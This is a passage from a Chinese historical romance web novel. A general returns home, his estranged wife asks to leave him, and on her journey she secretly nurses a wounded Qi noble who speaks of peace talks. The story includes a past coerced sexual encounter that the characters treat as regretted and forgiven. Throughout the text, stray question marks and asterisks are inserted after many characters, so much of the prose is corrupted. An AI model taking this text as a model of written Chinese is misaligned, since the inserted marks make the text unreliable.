沈棠宁脑中猝不及防地闪现出那夜他?强健的臂膀是如何将她压在身下?,紧抿的唇瓣,滴落的汗浆,紊乱的喘息……气?息也是这样的浓烈,滚烫如火。 “我没事。” 说完这话,沈棠宁便飞快地推开了谢瞻,后退几步低下?头。 怀中那人空了,却仿佛还能闻到她发顶的幽幽香气?,以及指尖那残留的温软触感。 两人似乎都有些尴尬,相对无言。 片刻后,沈棠宁率先打破僵局。 “回?来了?” 她依旧垂着?目,轻声问:“信上不是说,还有两三?日才到吗?” 她没有和上次一样躲着?不见?他?,还愿意和他?说话,谢瞻很高兴。 “哦,我在琅琊还有些事,便提前赶回?来了。” 说罢忍不住道?:“你看过我的信了,怎么都,没见?你给我回?信?” 沈棠宁能给他?回?什么? “你既然还有事,就先去忙吧。”她说道?。说罢便要?离开。 “等等!” 谢瞻急忙抓住她的手腕。 “团儿,你,你有身孕了?”憋了半天?,尴尬地说出这么一句来。 身孕?! 沈棠宁错愕而诧异地抬起头。 谢瞻那双浓墨似的凤目里满是紧张、小心与关切,随着?她的注视,一张俊脸还可疑地浮上了淡淡的薄红,却依旧强作镇定,目不转睛地看着?她。 两人第一次,也不过一刻钟的功夫,沈棠宁便怀了身孕,虽然那晚谢瞻注意没弄到里面,但难保情?急之时不会有所疏漏。 沈棠宁瞪大双眼。 在确定他?只是因为?刚刚她呕吐的那两声才产生的误会之后,她便立即抽回?了自己的手。 “你,你走了大半年,我若有身孕,肚子该有多大……你傻不傻!” 才一回?来,就问她这种傻问题,他?是打仗脑子打傻了吗? 沈棠宁撇过头,语气?有些着?恼。 谢瞻傻傻地看着?她低垂的眉眼,微微嘟起的红唇,就连她用生气?的口吻说出来的话儿都是那么地温柔动听,直过了好一会儿才反应过来她说的话,讪讪地抓了抓自己的头。 第62章 王家听说谢瞻回来了?,高?兴地打发人请谢瞻去?王家接风,谢瞻让小厮直接去?回绝了?,把外?祖父王钦在家里气得骂骂咧咧直跳脚。 这厢温氏也问谢瞻要不要先去?王家,谢瞻早找好了?理由搪塞温氏,温氏不知其中缘由,殷勤地让陈妈妈去?了?街上有名的醉仙楼叫了?一桌谢瞻爱吃的菜送家里来给女?婿接风。 沈棠宁总觉得谢瞻在盯她。 每每夹菜,吃饭时?,那种被窥视的紧盯感想忽视也无法忽视,令她十分地不自在。 而当她抬起头,谢瞻便飞快地转移了?目光,继续旁若无人地和?温氏谈笑?。 终于有一次,她微抬着下巴倒茶,谢瞻放松了?警惕。 直到她忽地掀起眼皮,冷冷看向他。 四目相对,对上她不悦的目光,谢瞻愣了?下,旋即便有些尴尬地朝她笑?了?笑?,转过了?头。 尽管有这次警告,仍是没?能阻止谢瞻的窥视。 温氏早瞅见了?两人之间的眉眼官司,又见女?儿不动菜,神情似恼似气,心里更明白了?几分,面上只装作不知,柔声问起谢瞻这一路的战况。 谢瞻捡些有意思的地方,避重就轻,力求能让丈母娘听懂,几场险象环生的大仗,反被他说得轻松有趣,逗得温氏笑?合不拢嘴。 用完饭,沈棠宁先行回了?房里。 奶娘说圆姐儿困了?,问要不要把小丫头哄睡。 沈棠宁想了?想,接过圆姐儿,用她最?喜欢的小玩具竹蜻蜓一逗,这小丫头就不困了?,叽叽咕咕地要沈棠宁陪她放竹蜻蜓玩。 不多?时?,谢瞻也来了?。 刚一进门,女?儿就晃悠着两只冲天辫,跌跌撞撞地扑到他的脚底下抓起竹蜻蜓。 看到眼前这个高?高?大大的“巨人”,好奇地抬起了?头。 天气热,屋里玩的时?候沈棠宁便给女?儿身上只穿了?件红底金线粉花的小肚兜儿。 谢瞻一把抱起圆滚滚的小女?儿,圆姐儿大大的凤眼,雪白的肌肤,奶香味道,叫谢瞻爱不释手,心都?要融化。 “姐儿,这是爹爹,叫爹爹。”奶娘在一旁引导道。 圆姐儿许是还有些懵,呜呜两声,乖乖地叫了?一声爹爹。 虽然声音含含糊糊的,仍是把谢瞻高?兴坏了?。 “不愧是我谢家的闺女?,聪明,虎父无犬女?,才?一岁就会叫爹娘了?!” 谢瞻骄傲地炫耀道,举着圆姐儿朗声大笑?起来。 沈棠宁坐在里屋打络子,瞥见奶娘和?一众丫鬟在那捂嘴偷笑?,无奈地摇了?摇头。 “厢房给你收拾了?出来,你若累了?,就先去?歇歇吧。”她提醒道。 “我不累,我再陪圆儿玩会儿!” …… “我给你和?娘,女?儿都?带了?礼物?,你挑挑看喜欢什?么。” 谢瞻走时?说道。 沈棠宁迷迷糊糊趴在桌上睡着了?,醒的时?候,人已经躺在床上了?。 谢瞻让锦书告诉沈棠宁,他这两天有公务,晚上便不回来了?。 这样也好,省得两人见面尴尬,她也不知道该如何与温氏解释。 于是接下来几日,谢瞻白天回家,下午的时?候回衙门,晚上也宿在衙门里面。 温氏猜测两人还在闹别扭,这才?不回家住。 但一家四口都?在的时?候,这两个又跟没?事人似的相处,反叫人猜不透到底在想什?么了?。 陈妈妈私底下跟温氏说,如今谢瞻做了?三镇节度使,颇受隆德帝重用,繁累些也在所难免,故温氏只好按下心里的焦急,没?有催促谢瞻回家住。 而这两个人,一个担心有些话一旦说出口会打破眼前来之不易的温馨平静。 另一个,犹豫着想和?谢瞻开口告辞,却又不舍得与女?儿分离。 终于在某一日,谢瞻不得不去?主动打破眼前的平静了?。 自顺德之围解除后,张元伦率兵攻打大同,宗瑁回援大同时?被张元伦截击,双方在井陉、潞安等地大战数场,结果自然都?没?讨到好,宗瑁狼狈逃回了?西京。 朝廷方自然是想坐山观虎斗,因为无论宗瑁与张元伦哪一方胜出都?会元气大伤,而朝廷则坐山观虎斗。 不巧的是宗瑁在逃回西京途中遭遇了?郭尚的主力军,双方又是一场恶战。 最?终叛军穷途末路,郭尚亲自追赶宗瑁至一处悬崖,见宗瑁坠崖而死?。 宗瑁死?后,张元伦率领残余势力,一路收拢残兵败将,逃回蓟州龟缩,继续招兵买马。 想当年张元伦骁勇不让其义子,且其人诡计多?端,郭尚自然不能放虎归山,追张元伦往蓟州而去?。 内忧将解,外患却不得不防。 自十二年前北伐结束之后,漠北东西契国王庭均夹起了?尾巴,再不敢在边疆肆意掳掠抢夺。 东契因内斗日渐衰落,而这一代西契的汗王默答精明强干的同时却并不热衷于战争,他在整个王庭之内实行休养生息的国策,除去?偶有的摩擦碰撞,十几年来两国倒算和平。 然西契的丞相土勒不是个省油的灯,先前他撺掇默答与宗缙宗瑁父子合作,任凭契人铁骑鞭挞中原土地,隆德帝焉能忍下这口气? 眼看宗瑁战死?,张元伦与郭尚缠斗,生死?难料,燕国势力摇摇欲坠,谁也不敢保证契人会不会等着鹬蚌相争,渔翁得利,毕竟那默答可不像东契的汗王冒鲁是个任外?戚摆布的傻子。 谢瞻接到郭尚的密信,权衡之下,在短暂的思索之后想好了?计策,与郭尚联合上书隆德帝,预备赶去?陇西。 一方面若郭尚不敌,支援郭尚。 另一方面守卫边关,震慑契国,未雨绸缪。 夜色沉沉。 沈棠宁坐在灯烛下,看着圆姐儿专注地摆弄着地上一排四个小木偶娃娃。 这木偶娃娃每一个都?是圆墩墩,大眼小嘴的孩童模样,上面表情各异。 不知道谢瞻这些木偶娃娃究竟是怎么做的,胳膊腿都?能动,掰一下换一个姿势,这小姑娘不愧是她爹的女?儿,玩得不亦乐乎,还偷了?奶娘两块帕子绑在小娃娃身上。 沈棠宁看半天才?弄明白,啼笑?皆非,原来这小丫头是给娃娃做衣服呢。 “姑爷回来了?!” 外?面的声音响起来。 白天他不是来过了?吗? 沈棠宁正奇怪,谢瞻就走了?进来,向往常一样抱起地上的圆姐儿先在空中飞转了?两圈,逗得圆姐儿一阵怪叫。 圆姐儿可喜欢这个能举高?高?抱她转圈儿的爹爹,咿咿呦呦高?兴地咕叽了?半天才?停歇。 父女?俩玩了?几个回合,谢瞻让奶娘抱着圆姐儿去?休息,众丫鬟都?退了?下去?。 沈棠宁正襟危坐。 她知道,谢瞻这是有要事与她谈了?。 “我能进去?吗?”他在帘后问。 沈棠宁一怔。 莫说她的房间,便是她床上的帐子,他不从来都?是视若无物?吗。 他这突如其来的客气,倒叫她不大习惯了?。 “进来吧。”她应道。 沈棠宁坐在罗汉床上,中间有张小几,谢瞻走进来后便坐在了?小几的另一侧。 他瞟了?沈棠宁一眼,咳嗽一声。 “你……” “我……” 两人同时?开口,又同时?顿住。 烛火幽幽中,沈棠宁率先开口。 “你先说吧。” “我来与你辞别。”他轻声说道。 “才?回来多?久,怎么又要走了??” “张元伦逃去?了?蓟州,西契对边境蠢蠢欲动,陛下命我去?守陇西守关,这一去?,可能便不知多?久才?能回来了?。” 说到此处,谢瞻看向了?沈棠宁,半响才?低声说道:“团儿,这段时?间,我心里其实有许多?话想对你说……我知道你还怪我那晚强迫了?你,不论我如何解释,都?是我有错在先,伤害了?你,我和?你道歉。你要怪我,我无话可说,但我本意从来没?有想要伤你……” “我知道。” 谢瞻蓦地抬起了?头,看向她。 可惜她始终低着头,垂下的长长眼睫掩盖了?她所有的情绪。从谢瞻的角度,只能看见她乌油油的发顶以及那抹嫣红的唇瓣 她犹豫了?一下,声音也轻轻的。 “我……其实我没?有怪过你。” 一瞬间,谢瞻脑中一片空白。 一向杀伐果断,在敌人面前冷静镇定的他,此时?此刻面对着眼前心爱的女?子,竟因她的一句话而无法抑制地紧张,心脏如雷极速的捶打跳动了?起来。 “那你还想和?离吗?不……我是说你准备要走了?吗?也不是,我的意思是……” 谢瞻这话,沈棠宁确实没?听懂,不过略一思索,也能猜到他的话中之意。 他都?已经开口询问她动身的时?间,应该便是要和?离的意思了?吧? 毕竟他马上就要去?守关,这一走不知何日是归期,而和?离之后,她也不好再厚颜留在王家老宅。 只是一旦与谢瞻和?离,京都?城中必定会闹得沸沸扬扬。 她这个出身落魄,名声不好的母亲,并不会成为女?儿的骄傲,只会给女?儿带来被人在身后的指点,获得一个无尽痛苦与纠结的童年。 若她可以及时?放手,女?儿尚且年幼不记事,有谢嘉妤和?王氏护着,反而会慢慢淡忘她。 长痛不如短痛,她不能再如此优柔寡断下去?了?。 “吡呲”一声,烛火闪烁了?一下。 沈棠宁开了?口。 “我想回镇江,”她说道:“我们沈家宗祠便在镇江,那里还有一些我的叔伯族亲,得他们庇佑,我和?娘在那儿也能衣食无忧得过一辈子。” “……” 就在上一个瞬间,谢瞻还觉得自己有微茫的希望。 而这一个瞬间,他的心便因沈棠宁的一句话堕入了?冰窟与十八层地狱中。 沈棠宁不止要与他和?离,甚至,她还做好了?要永不回京都?,与他再不相见的准备。 她怎么能没?有一丝一毫的犹豫和?不舍? 谢瞻看着连抬头都?不肯多?看他一眼的沈棠宁,指甲死?死?刺进掌心的肉里,却感觉不到分毫的疼,忽觉自己这两年的行径变得愈发荒唐可笑?。 他到底是在期待什?么? 是期待她会在他的逼迫下不清不愿地唤他一句夫君,抑或是如寻常的夫妻一般为他梳头、绾发,耳鬓厮磨,亲密无间? 哪怕是她的一个微笑?,一条随手丢掉的绫帕,甚至是一句带有责备的嗔语,他都?着了?魔般地痴迷着。 只要她肯施舍给他一两分的笑?容与关心,他便能甘之如饴地自欺欺人,匍匐在她的脚下,心满意足地继续做着美梦。 可是他明明知道,一直都?知道,沈棠宁根本就不爱他,她从始至终都?没?有爱过。 即使他拼尽了?命不要地救她,把心剖出来捧到她的面前,她也只会因那洒了?一地的血感激他的救命之恩,换来一句她的“我不用你来负责”。 如果沈棠宁喜欢他,这两年的时?间,又怎会无动于衷,看不见他的付出。 便是块冰冷冷的石头,也该焐热了?。 枉他一生自诩狂傲自负,最?后却连心爱的女?人都?留不住。 谢瞻彻底心灰意冷。 翌日一早,他便在未告知任何人的情况下,轻车简从,独自离开了?琅琊。 这两年他一直没?有放弃寻找沈连州的踪迹,不知是皇天不负有心人,抑或是踏破铁鞋无觅处,在回琅琊之前,他也终于在千里迢迢的漠北之外?寻到了?沈连州下落的线索。 先前为了?替沈棠宁研制天蚕蛾的解药,他命长忠北上,心想去?一趟漠北不易,顺道命长忠捎带着沈连州的画像——这画像乃是他央温氏亲手所画。 长忠一行扮作出塞的商人,下榻一间契人所开的客栈时?,那客栈的店老板无意看见了?沈连州的画像及画像上的名字,驻足良久,引起了?长忠的注意。 果不其然,店老板离开片刻,再回来时?手中多?了?一条血帕,长忠将那血帕展开,帕子里面包着一小节四分五裂的羌笛。 而那血帕上留的字,正是沈连州的名字! 据店老板回忆,约莫是十来年前,店里来了?一对商旅打扮的夫妻投宿,这对夫妻身后跟着七八个随从,手里还分别领着四五个模样俊俏的少年。 不寻常的是那七八个随从眼珠子总是紧紧地盯着这四五个少年,平日里这对夫妻也不许他们的孩子出门,且但凡出门,必定有两个随从跟着。 那时?她年轻不懂,以为这些少年皆是这对夫妻之子,还心生羡慕。 后来随着开了?十几年的客栈,见多?识广,店老板才?逐渐回过神过来—— 这根本不是一对夫妻,而是人贩子,也就是市面上所谓的牙公牙婆。 他们贩卖的也并不是寻常孩童,而是专门四处寻觅俊俏适龄的少男少女?卖入契国的权势之家为奴为婢。 因契人上流贵族有个不足为外?人道的恶癖—— 他们喜欢使唤周人为奴婢,以此来发泄这三百年来被太祖和?成祖皇帝驱逐出中原的恶气。 这些人贩子背后的势力,绝不是他们这些普通老百姓可以得罪的。 那年当地连下了?三日的大雪,这对夫妻住了?三日之后便离开了?客栈。 店老板去?收拾客房时?,在被褥中无意发现?了?藏在其中的血帕与帕中半截的羌笛。 兴许是那血帕上的字太过刺目,店老板并没?有将这两样物?件立即丢掉。 尤其是在意识到这可能是被拐卖的几个孩子之后,出于良心,店老板将这两样信物?一留便是十四年。 倘若说重名是巧合,那失踪的日子也能对得上,沈连州失踪那年九岁,是隆德十八年,店家遇见那行人贩子那年是隆德十八年,前后一年不差。 至于帕子里的羌笛,长忠记得,沈棠宁曾说沈连州小小年纪便能吹得一手好羌笛。 种种迹象表明,那被贩卖去?契国的少年极有可能就是沈连州! 是以此去?陇西,除了?守关,谢瞻还下定决心要替沈棠宁找到她失散多?年的亲哥哥。 情之一字,各有缘法。 沈棠宁要离开他,谢瞻心里确实有怨,却也明白这终究不是沈棠宁的错。 但答应过她的事情,他便要言出必行,说到做到- 眼前这人,身着飞鱼服,腰配绣春刀,面色冷峻,身形高?大,往那儿这么一挡,便是再美好的风景叫人也看不到了?。 谢嘉妤攥着车帘,气鼓鼓瞪着窗外?的陈慎道:“你有没?有眼力见儿,挡那做什?么,给本小姐滚开!” 陈慎回头一瞥。 这位谢家四小姐仰着张俏脸,一双凤眼却瞪得犹如铜铃一般,仿佛他并不是挡了?她欣赏风景,而其实是什?么十恶不赦的坏人。 陈慎才?不惯着谢嘉妤,直到谢嘉妤都?快气哭了?,才?策马慢悠悠去?了?队伍前方。 “嫂嫂,你看他那是什?么德性,皇姑父让他来护送我们回京城,我哥哥是三镇节度使,半壁江山都?是他打下来的,他姓陈就是只给皇姑父看门的狗,真当自己还在他那北镇抚司里耀武……啊!” 谢嘉妤气不过,故意将声音嚷得很大,沈棠宁一听,唬了?一跳,忙捂住了?谢嘉妤的嘴。 谢瞻离开琅琊前,留给沈棠宁一封和?离书,命一队人马护送沈棠宁和?温氏母女?俩去?镇江。 去?镇江之前,沈棠宁还想再送女?儿最?后一程,恰此时?隆德帝得知小姨子王氏欲接远在琅琊的女?儿谢嘉妤回京,命纪镶从锦衣卫拨了?些行事妥帖的,打发来琅琊接人。 本来卫桓也是要一道前来,奈何他娘郑国公夫人此时?病倒了?,卫桓每天衣不解带地伺候,也就没?工夫来接未婚妻了?。 沈棠宁决定与谢嘉妤一道回京都?,亲自将圆姐儿托付到王氏手中她心里才?踏实。 等到处理完和?离事宜,再拜别过舅舅温济淮一家,届时?若温氏不愿离开京都?,她也不强求,毕竟温氏上了?年纪,又自来体弱多?病,不好一路长途跋涉。 沈棠宁想找到哥哥沈连洲,只呆在京都?城是永远找不到的,求人不如求己,她要自己去?找哥哥。 谢嘉妤一路吃喝玩乐,遇见好山好水便要求停车观赏,陈慎估计是不想横生枝节,欲早些回京交差,谢嘉妤吩咐停车没?多?久,他便出言催促,两人之间多?有冲突。 “阿妤,你记住嫂嫂的话,以后这话不能乱说,你哥哥再厉害,那也是陛下知人善用,大周朝的江山永远都?是太祖爷打下来,你说这话是僭越犯上,会给谢家招来横祸!” 沈棠宁压低声音训斥她道。 在谢嘉妤的印象中,嫂嫂说话永远都?是轻言细语,这是沈棠宁第一次对谢嘉妤发怒。 身为谢家的女?儿,谢嘉妤是娇纵任性,却并不蠢笨,被沈棠宁一提醒,立马就反应了?过来是她飘了?,竟说出这等大逆不道之话,懊恼地朝着自己的嘴巴扇了?一巴掌。 经此一事后,谢嘉妤就安静了?许多?。 不过,她还是看不上陈慎,心里存了?口恶气,逮着由头就要对陈慎发泄一番。 “嫂嫂你不知道,他以前就对我十分不尊敬,有一年他居然说我谢家芝兰玉树,人才?辈出,生出我这么个蠢笨无知的女?儿来,当真是气煞我也!” 青州驿,驿馆大厅中,谢嘉妤冲着沈棠宁大倒苦水。 沈棠宁汗颜,看不出来那位陈大人面上威严,嘴如此之毒,倒与谢瞻不分伯仲。 正说着,陈慎就从外?面走了?进来。 谢嘉妤瞥见他,重重冷哼一声,扭过了?头去?。 见他走到了?沈棠宁身边俯下身去?,忙警惕地指道:“喂喂,你离我嫂嫂那么近做什?么,滚远些!” “阿妤,不得无礼,” 沈棠宁对谢嘉妤轻斥,转而问陈慎道:“陈大人,可是有什?么事?” 陈慎没?理会谢嘉妤,回复道:“夫人,温夫人在外?救了?一名少年。” 温氏上了?年纪,坐马车久了?腰酸背疼,到驿馆后便带上随从出门溜达,看见一个八九岁的少年在驿馆附近的一条街上售卖林檎被几个大孩子欺负,连忙让小厮上前去?拦。 那几个孩子被陈妈妈抓着好一通教?训,温氏可怜那少年,一问才?知道原来这少年前不久丧父丧母,被家中贪财的叔叔给赶了?出来,只能靠着卖家里刚成熟的林檎果来养活自己和?妹妹。 温氏听着已是潸然泪下,将这少年带回驿馆时?眼眶都?是红的。 沈棠宁晓得温氏必定是想起了?失散多?年的哥哥沈连州,心里微微叹了?口气,柔声安慰了?温氏,让锦书给少年端来热水并糕点吃食。 那少年不过八九岁的年纪,生得安静文弱,几乎瘦成了?一条竹竿,身上衣服也破破烂烂,唯有一双眼睛黑亮清澈。 看见满桌子的珍馐美味,吞了?吞口水,只吃了?两块枣糕,问沈棠宁能不能将剩下的两块给他家中的妹妹捎回去?。 谢嘉妤说道:“小子,莫说是两块糕点,这满桌子的饭菜都?是你的!我嫂嫂与温夫人可怜你,听说你家里已无父母亲人,不如就来我谢家,保管你兄妹两人今后吃穿不愁!” 那少年却礼貌地谢过谢嘉妤与温氏。 “多?谢贵人们,小人不愿卖身为奴,今日多?有叨扰,全是小人的罪过。” 跪地磕了?头,便要离去?。 “不识好歹!”谢嘉妤嘀咕道。 陈慎瞟了?谢嘉妤一眼,忽她身侧的沈棠宁走了?出去?,俯身站在那少年面前说了?几句话。 少年眼中瞬间水光微动,流露出感激之色,忙跪地道:“夫人大恩大德,小人永世难忘,愿用一生回报!” 谢嘉妤惊愕咂舌。 待沈棠宁命长忠将这男孩子领出去?找他妹妹回来后,谢嘉妤便迫不及待地缠着她问道:“嫂嫂,你与那少年究竟说了?什?么,他怎的一下子就态度大变,你真乃神人也,快教?教?我!” 温氏亦是不解地看着自己的女?儿。 沈棠宁微微一笑?。 其实不难,她许诺那少年不逼迫他签卖身契,日后也允他可以读书考试,不过相对的,那少年也要答应她的一个请求。 至于是何请求,对于少年而言自是不难,何况沈棠宁言辞间并无轻视怠慢之意,同样是有求于人。 只需答应一个小小请求,就能换来与妹妹后半生的温饱,还能获得他梦寐以地的读书考试的机会,少年焉能不感激涕零。 安置好兄妹两个,天色已不早了?,众人各自回了?房间。 沈棠宁与锦书和?圆姐儿同住一个房间,二更时?分,窗外?的梆子敲了?三下,沈棠宁望着窗外?皎洁的夜色,锦书跟圆姐儿皆已出了?鼾声,似是睡得香熟了?,她仍旧翻来覆去?睡不着,便披衣打开了?窗户。 流云散去?,明月高?悬天际,远处的山峦在明月的清辉下若隐若现?,美得如一幅画卷,越发衬得天地间万事万物?渺小如芥。 一缕微风吹来,风中有淡淡的血腥气。 沈棠宁微微蹙眉,以为是自己的错觉。 慢慢地,她的注意力从心事上逐渐转移到自己身处的环境中。 “别动。” 就在她转身的那一刻,黑暗中一双冰冷的,鹰隼般的双目出现?在了?她的身后。 那人将匕首架在她的脖子上,尽管声音依旧沉稳有力,却压抑不住身上那股血腥气与呼吸间隐忍急促的喘息声。 第63章 那人将匕首架在?沈棠宁的?脖子上?,声音与匕首的?刀锋一样冰冷,吐出的?气?息却是?*有气?无力。 沈棠宁敏锐地嗅到了他身上?浓重的?血腥气?,忙低声道:“你放心,我不?动!” 顿了顿,又启唇柔声说:“你受伤了,我会医术,你先放了我好不?好……” 身后许久没有传来声响,正?当沈棠宁忐忑不?安,在?思考是出声还是趁他重伤反击之时,忽听“咕咚”一声,身后再次没了动静。 她试探着?侧过身去,那人没反应。 她捂着?脖子快速地后退,只见那人早已神志不?清地倒在?了地上?,匕首却仍被他紧紧地攥在?手?中。 月光洒落在?他苍白清俊的?脸上?,唇畔与衣角上?沾染着?点点的?血渍,沈棠宁不?敢置信地瞪大双眼。 竟然是他,那个曾经?救过她两次的?契人首领! 她急忙上?前去试探男人脖颈间的?脉搏,幸好幸好,还在?跳动,人还活着?! 锦书睡得正?香,隐约间听见耳边沈棠宁呼唤她的?名?字,揉着?眼睛坐起身来,看见眼前一幕,惊得险些?叫出声来,是沈棠宁捂住了她的?嘴。 “嘘,别出声,过来帮我搭把手?。” 锦书也认了出来这地上?的?男人似乎是之前救过沈棠宁一名?的?商人,只是不?知为何他会突然重伤出现在?了此间。 沈棠宁先将圆姐儿的?小摇床轻轻推到角落里,再与锦书两人合力把男人抬到了床上?,挽起袖子脱去了男人身上?的?衣服。 看得出来男人身上?伤得不?轻,腹部、胸口、后背等?处共有十几处不?同程度的?刀伤或箭伤,虽然大多经?过简单的?包扎,但很显然并不?能止住血。 胸口处的?箭伤倘若再偏一些?,兴许人此刻就没了。 锦书点了两盏油灯放到床边,又悄悄地下去端来两盆热水。沈棠宁一面冒着?冷汗,一面给他清理伤口。 “娘,娘……” 伯都躺在?床上?,喃喃呓语。 梦里,娘温柔地握住了他的?手?,替他拭汗,柔声唤他的?乳名?。 “……娘在?呢。” 清晨,一缕阳光落在?脸上?,痒痒的?,温暖而耀眼。 伯都睁开眼。 他一动,伏在?床边的?沈棠宁便醒了。 “你醒了!”她惊喜道。 伯都一怔,刚要起身,沈棠宁却将他又轻轻按了回去。 “你别动,你现在?受了重伤,需要好好休养,这两日就在?房里别出去了。”吩咐锦书出去拿早饭。 锦书回来后,沈棠宁四下看看,才关上?门,栓好门栓。 回来时看见伯都盯着?小摇床吃着?手?指的?小女娃,小女娃见对方盯着?他,也好奇地瞅过去,嘿嘿笑?了起来。 “这是……你女儿?”伯都迟疑。 沈棠宁笑?着?应了一声,将圆姐儿从?摇床里抱出来,圆姐儿皮肤白,眼睛水灵灵的?,见人就爱嘿嘿笑?,几乎没人不?喜欢这孩子。 伯都目光柔和了许多,问:“她多大了?” “一岁多。” 两人一问一答,突然,圆姐儿笑?着?笑?着?嘴巴瘪了起来,把脸埋在?沈棠宁的?怀里哼哼。 “它怎么了?”伯都立即紧张地问。 “没事?儿,闹别扭呢。” 大约是闻到伯都身上?的?药味和血腥气?了,沈棠宁歉疚一笑?,把孩子抱了出去,顺道找到陈慎,问他能不?能在?驿馆多留两天?,连日赶路,她和温氏身体都有些?吃不?消。 别看陈慎时常摆出副生人勿进?的?冷脸,人还挺好说话,没怎么犹豫就答应了沈棠宁的?请求。 还说可以再多留几天?,让她与温氏好好休息,什么时候累了什么时候上?路就行,催促谢嘉妤,那是担心她在?路上?惹事?。 沈棠宁受宠若惊,谢过了陈慎,出来又遇见温氏。 原来沈棠宁清晨没出来吃早饭,还把孩子抱进?了她的?房里,温氏不?放心,过来担心地问她是哪里不?舒服。 沈棠宁借口自己来了月事?,温氏这才松了口气?,让沈棠宁赶紧回房躺着?,把孩子交给她带就行。 沈棠宁得以回房。 “我来路不?明,身受重伤,你为何还要救我,不?怕我杀了你?” 进?门时,伯都问道。 沈棠宁微微一笑?,不?置可否。 “你若想杀我,当初便不?会救我,你不?是坏人,”她坐到床边,看着?他说道:“何况你如今的?伤势,也没法伤害我。” 伯都凝视她片刻,躺了回去。 真没想到,谢瞻那样的人会娶了这么一位美貌心善的?妻子。 伯都在?沈棠宁房中养了三天?的?伤,每天?沈棠宁都会按时给他换药,晚上?和锦书挤在?一张床上?,倒也相安无事?,并未被陈慎与长忠发现。 到第三天?夜里,伯都已经?能坐起来自己吃饭,沈棠宁看见他脖颈间挂着?的?长命锁掉了,便主动为他打了新的?根络子,穿好递给他。 “这是我娘留给我的?遗物。”伯都说道。 “你娘?” “嗯,他们说,这是我娘留给我的遗物。” “你自己不?记得吗?”沈棠宁有些?诧异。 伯都苦笑?一声,摇头。 “我不?记得了,我九岁那年生了一场大病,醒来的?时候,已经?失去了所?有的?记忆,是……收养我的?夫人告诉我,这根长命锁是我娘留给我的?念想。” “你娘……她过世了?”沈棠宁眼中闪过一抹怜悯,轻声问。 伯都淡淡一笑?,将长命锁收进?了怀里。 “不?,家道中落,我爹便将我卖了。所?幸,我后来能被夫人收养,她待我很好,如同亲生孩子一般,就像你娘对你一样疼爱关心,现在?,她就是我的?母亲。” “可你是周人。”沈棠宁忍不?住道。 伯都眸光微凝,慢慢落到沈棠宁身上?。 沈棠宁垂下了眼,看着?桌上?喝空的?药碗。 “是,我是周人,我从?未一刻忘记过。沈夫人,你既然早就猜出了我的?身份,为何还要救我?” 先前伯都在?琅琊与沈棠宁相遇,无意间遗落一块玉牌,那牌上?雕刻着?她看不?懂的?符号与图案。 她将玉牌收入袖中,本想晚上?带回去询问长忠,谁知到家之后那块玉牌便莫名?其妙地从?她身上?消失了。 不?过沈棠宁记性很好,她凭着?记忆画出了玉牌上?的?图案和符号,再找到一些?契文的?书籍翻看,很快便看明白了原来那枚玉牌上?雕刻的?野兽正?是契人最为崇拜的?神圣图腾—— 苍狼。 在?契国,只有皇族中人才有资格佩戴纹有苍狼图腾的?装饰物,因为那是身份的?象征。 而玉牌上?雕刻的?契族符号,翻译过来便是“执失部”的?意思。 执失在?西契是贵族姓氏,据沈棠宁翻书了解,当今西契默答可汗最宠爱的?察兰汗妃便出身于?这个家族。 察兰汗妃有一名?养子,此人年纪轻轻便身居高位,也是默答身边最为器重的?养子。 “枢密院副使,天?威将军,执失伯都,这是你的?名?字?” “是,”伯都坦然承认道:“现在?你若想杀我,随时都可以。” 沈棠宁静静看着?他。 “不?,你知道我不?会杀你,如果要杀你,当初我便不?会救你,伯都将军,你救过我,我也救了你,我们两个人便当是两不?相欠了,明日你若伤势好些?了就离开吧,如果被锦衣卫或阿瞻的?随从?发现,那时我也救不?了你。” 话说到最后已然有了几分冷淡,不?复前两日的?温柔热络。 伯都默然片刻,低声叹道:“抱歉沈夫人,是我给你添麻烦了,今晚我便会离开。其实你从?一开始就不?该救我,你的?夫君,最是厌恶契人!” “这是我的?事?情,与他无关。” 沈棠宁说至此处,忽冷笑?了一声,说道:“想来你大概不?知,我的?爹爹,也是死在?你们契人的?手?中!多年来你们契人屡次骚扰我大周边境,无恶不?作,今上?北伐时也只是将你们赶回乌尔逊河以北,这次我朝宗张叛乱,惹得哀鸿遍野、生灵涂炭,也是因为有你们契人在?其中助纣为虐!” “不?只是阿瞻,倘若你们踏足我们大周的?疆域,便不?会有人欢迎你们!” 伯都听闻她的?父亲竟也是死于?契人手?中,一时心神巨震。 但沈棠宁接下来的?这番话却又令他骤然挺起了腰背,直视着?沈棠宁道:“沈夫人,我早就说过,我虽然为汗妃所?救,得她眷顾方有今日,但我永远不?会忘记我身上?流着?的?是周人的?血脉,我这一生都未曾杀害过一个周人,生为周人,死为周鬼,虽九死其犹未悔!” “那你为何要帮着?宗张挑起中原的?战火?”沈棠宁反问。 “不?,恰恰相反,我这次来周朝,是为了平息两国多年来的?战火。” 见沈棠宁面露疑惑,伯都索性不?再隐瞒,将他这次来山东的?目的?悉数告知,包括西契朝堂势力中敌对的?两派矛头,以及自己与察兰汗妃多年来的?夙愿。 察兰汗妃虽为默答宠妃,出身贵族执失部,然她的?生母却是一名?温柔似水的?周人女子。 因此她得以自幼学习中原礼仪文化,耳濡目染,对地广物博,包容开放的?中原充满了向往与喜爱。 丞相土勒多次撺掇默答侵犯周朝边境,也是察兰汗妃一力阻止,在?察兰汗妃眼中,唯有两国和平往来才能令百姓们安居乐业,契国得以发展强大。 而穷兵黩武、一辈子执着?于?统治的?权威,采取掠夺方式获得的?财富权利,同样也会被人以相同的?方式掠夺而去,重蹈契国老祖宗的?覆辙。 “耿介得道,猖披窘步。消止兵戈,一统东西两契才是我与汗妃多年来的?夙愿,至于?周朝绵延的?战火,绝非我与汗妃本意,实属无力阻止的?无奈之举。” 更不?幸的?是,伯都与蒙真的?谈判破裂了。 蒙真早已被土勒收买,成为了土勒在?周朝的?眼线,这次山东之行根本就是一场鸿门宴,若非伯都警惕及时发现,如今便成了蒙真的?刀下亡魂。 他受此重伤,仓皇而逃,与属下失散,也全是拜蒙真所?赐。 “你能够保证,你们的?大汗与汗妃是真心愿意与朝廷和谈吗?”沈棠宁问道。 伯都亦正?色道:“我不?敢保证,但我与汗妃会尽力去说服大汗。土勒把握朝政多年,大汗对土勒僭越傲慢之举早就心生不?满,只是苦于?羽翼不?够丰满,不?得不?违心听命之,倘若无十足把握便仓促起事?,不?过是以卵击石。何况你夫君在?位时深恨契人,大汗才不?得助宗缙起事?。” “如若有人能在?其中斡旋,襄助两国和谈,除去贵国丞相土勒,将军能否保证不?再侵犯我大周边疆?” 沈棠宁眼睛一眨不?眨地看着?伯都。 